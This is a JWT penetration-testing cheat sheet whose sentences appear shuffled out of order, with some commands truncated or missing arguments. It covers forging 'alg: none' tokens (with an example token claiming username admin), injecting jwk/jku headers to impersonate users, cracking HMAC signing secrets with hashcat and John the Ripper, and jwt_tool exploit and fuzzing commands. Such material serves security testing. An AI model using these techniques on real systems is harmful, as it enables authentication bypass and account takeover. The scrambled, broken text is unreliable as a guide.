As in the JWK section above, JWT Editor is useful.įirst of all, generate RSA key as the JWK section above, then serve it in our own web server. If the server supports the jku in the JWT header, we may be able to add arbitrary URL in the jku then impersonate another user. After that, the jwk is added in the JWT header.In the popup, choose our generated key. This is the source code for a web tool that can decode JWT, verify signed JWT, decrypt encrypted JWT, and create signed or encrypted JWT.Go to Json Web Token tab, then modify arbitrary parameter e.g.Send request containing JWT to Burp Repeater.If the server JWT’s algorithm is RSA such as RS256, click New RSA Key then click Generate button in the popup.Install JWT Editor in BApp Store in Burp Suite. To perform that, JWT Editor extension in Burp Suite is useful. If the server supports the jwk in the JWT header, we may be able to add arbitrary jwk parameters then impersonate another user. If you found a secret, you can create a new JWT using the secret on tools like JWT.io. JWT.IO allows you to decode, verify and generate JWT. Hashcat -a 0 -m 16500 jwt.txt passwords.txt -r rules/le JSON Web Token (JWT) is a compact URL-safe means of representing claims to be transferred between. Hashcat -a 0 -m 16500 jwt.txt passwords.txt john -format=HMAC-SHA256 -wordlist=/usr/share/wordlists/rockyou.txt jwt.txt Then crack the hash using John the Ripper or Hashcat. echo -n '-rKQJzEQ7THoZXcfmHhvnwOE5P46IQIVRWmL4juDM' > jwt.txt # Exploit (Automated Exploit) # -X a: Exploit (alg: none)įirst of all, you need to put the JWT into the text file. Python jwt_tool.py -t -rc "jwt= anothercookie=test" -I -hc kid -hv wordlist.txtĬopied! Manual Pentesting # Tamper (Manual Exploit) This can be helpful when troubleshooting authentication failures when all you have is a trace. Python jwt_tool.py -t -rc "jwt= anothercookie=test" -X i -I -pc username -pv adminĬopied! Fuzz # -I -hc kid -hv wordlist.txt: Inject Claim ("kid": FUZZ) Use the JWT Decoder tool to decode an encoded JWT Token and see the contents in clear text. Python jwt_tool.py -t -rc "jwt= anothercookie=test" -M pb -cv "not authorized" Copied! Exploit # -X i: Exploit (inject inline) # -I -pc username -pv admin: Inject Claim ("username": admin) Decode python jwt_tool.py Ĭopied! Scan # -t: Target URL # -rc: Cookies # -M pb: Playbook Scan Mode # -cv: Canary Value JWT Toolkit is a toolkit for testing, tweaking and cracking JWT. If we don’t get the results we expect, try to increase the "exp" value as below. Go to the website and replace the original JWT with the new one in HTTP header. If you want to empty the signature field manually, you can delete the final section.įor example, eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc4NDYwNjM1fQ. If the error "Invalid Signature" occured, we can manually create Base64 value for each section (remove the "=" symbol).
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